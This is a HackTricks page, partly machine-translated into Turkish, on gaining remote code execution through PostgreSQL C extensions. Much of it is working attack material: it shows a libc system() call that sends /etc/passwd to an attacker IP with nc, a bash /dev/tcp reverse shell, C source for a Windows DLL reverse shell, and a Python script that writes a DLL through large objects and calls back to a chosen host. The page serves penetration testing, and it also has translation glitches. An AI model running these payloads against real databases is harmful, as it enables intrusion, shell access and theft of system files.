RCE with PostgreSQL Extensions

Support HackTricks

PostgreSQL Extensions

PostgreSQL, genişletilebilirliği temel bir özellik olarak geliştirilmiştir ve uzantıları, sanki yerleşik işlevler gibi sorunsuz bir şekilde entegre etmesine olanak tanır. Bu uzantılar, esasen C dilinde yazılmış kütüphaneler, veritabanını ek işlevler, operatörler veya türlerle zenginleştirir.

8.1 sürümünden itibaren, uzantı kütüphaneleri için belirli bir gereklilik getirilmiştir: özel bir başlık ile derlenmelidirler. Bunu yapmadan PostgreSQL bunları çalıştırmayacak, yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlayacaktır.

Ayrıca, PostgreSQL'i kötüye kullanarak kurbanın dosyalarını nasıl yükleyeceğinizi bilmiyorsanız, bu yazıyı okumalısınız. upload files to the victim abusing PostgreSQL you should read this post.

RCE in Linux

For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

PostgreSQL 8.1 ve önceki sürümlerden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bunu kullanmak mümkündür: Metasploit module.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Base64 ile ikili dosya yazma

Postgres'te bir ikili dosyayı yazmak için base64 kullanmanız gerekebilir, bu konuda yardımcı olacaktır:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Ancak, daha büyük sürümlerde denendiğinde aşağıdaki hata gösterildi:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Bu hata, PostgreSQL belgelerinde açıklanmaktadır:

Dinamik olarak yüklenen bir nesne dosyasının uyumsuz bir sunucuya yüklenmediğinden emin olmak için, PostgreSQL dosyanın uygun içeriklere sahip bir "sihirli blok" içerip içermediğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı ana sürümü için derlenmiş kod gibi belirgin uyumsuzlukları tespit etmesine olanak tanır. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, bu kodu modül kaynak dosyalarından birine (ve yalnızca birine) yazın, fmgr.h başlığını ekledikten sonra:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

PostgreSQL 8.2 sürümünden itibaren, bir saldırganın sistemi istismar etme süreci daha zor hale getirilmiştir. Saldırganın ya sistemde zaten mevcut olan bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu ana PostgreSQL sürümüne karşı derlenmeli ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmeyi önemli ölçüde zorlaştırır, çünkü sistemin mimarisi ve sürüm uyumluluğu hakkında daha derin bir anlayış gerektirir.

Kütüphaneyi derleyin

PostgreSQL sürümünü almak için:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Uyumluluk için, ana sürümlerin uyumlu olması gerekmektedir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümle bir kütüphane derlemek, başarılı bir entegrasyon sağlamalıdır.

Bu sürümü sisteminize kurmak için:

apt install postgresql postgresql-server-dev-9.6

Ve kütüphaneyi derleyin:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Sonra derlenmiş kütüphaneyi yükleyin ve komutları şu şekilde çalıştırın:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Bu kütüphaneyi önceden derlenmiş olarak çeşitli PostgreSQL sürümlerinde bulabilirsiniz ve hatta bu süreci otomatikleştirebilirsiniz (eğer PostgreSQL erişiminiz varsa) şunla:

Windows'ta RCE

Aşağıdaki DLL, ikili dosyanın adını ve çalıştırmak istediğiniz kez sayısını girdi olarak alır ve bunu çalıştırır:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Bu zip dosyasında derlenmiş DLL'yi bulabilirsiniz:

4KB
pgsql_exec.zip
archive

Bu DLL'ye hangi ikili dosyanın çalıştırılacağını ve kaç kez çalıştırılacağını belirtebilirsiniz, bu örnekte calc.exe 2 kez çalıştırılacaktır:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

burada bu ters kabuğu bulabilirsiniz:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Not edin ki bu durumda kötü niyetli kod DllMain fonksiyonunun içindedir. Bu, bu durumda postgresql'de yüklenen fonksiyonu çalıştırmanın gerekli olmadığı anlamına gelir, sadece DLL'yi yüklemek ters shell'i çalıştıracaktır:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

PolyUDF projesi, tam MS Visual Studio projesi ve çoklu versiyon desteği olan kullanıma hazır bir kütüphane (command eval, exec ve cleanup dahil) ile iyi bir başlangıç noktasıdır.

En yeni PostgreSQL sürümlerinde RCE

En son sürümlerde PostgreSQL, superuser'ın belirli dizinler dışında paylaşılan kütüphane dosyalarını yüklemesi yasaklanmıştır. Bu dizinler, Windows'ta C:\Program Files\PostgreSQL\11\lib veya *nix sistemlerinde /var/lib/postgresql/11/lib gibi yerlerdir. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı güvence altına alınmıştır.

Bu kısıtlamalara rağmen, kimlik doğrulaması yapılmış bir veritabanı superuser'ı, "büyük nesneler" kullanarak dosya sistemine ikili dosyalar yazabilir. Bu yetenek, veritabanı işlemleri için gerekli olan C:\Program Files\PostgreSQL\11\data dizininde yazma işlemini de kapsamaktadır.

CREATE FUNCTION komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine dizin geçişine izin vermesidir. Sonuç olarak, kimlik doğrulaması yapılmış bir saldırgan, bu geçişi istismar ederek veri dizinine bir paylaşılan kütüphane dosyası yazabilir ve ardından yükleyebilir. Bu istismar, saldırgana rastgele kod çalıştırma yeteneği vererek sistemde yerel kod yürütmesine olanak tanır.

Saldırı akışı

Öncelikle dll'yi yüklemek için büyük nesneleri kullanmalısınız. Bunu nasıl yapacağınızı burada görebilirsiniz:

Big Binary Files Upload (PostgreSQL)

Uzantıyı (bu örnek için poc.dll adıyla) veri dizinine yükledikten sonra, bunu şu şekilde yükleyebilirsiniz:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Not edin .dll uzantısını eklemenize gerek yoktur çünkü create function bunu ekleyecektir.

Daha fazla bilgi için orijinal yayını buradan okuyun. O yayında bu, postgres uzantısını oluşturmak için kullanılan koddu (bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun). Aynı sayfada bu teknik otomatikleştirmek için verilen sömürü:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referanslar

HackTricks'i Destekleyin

Last updated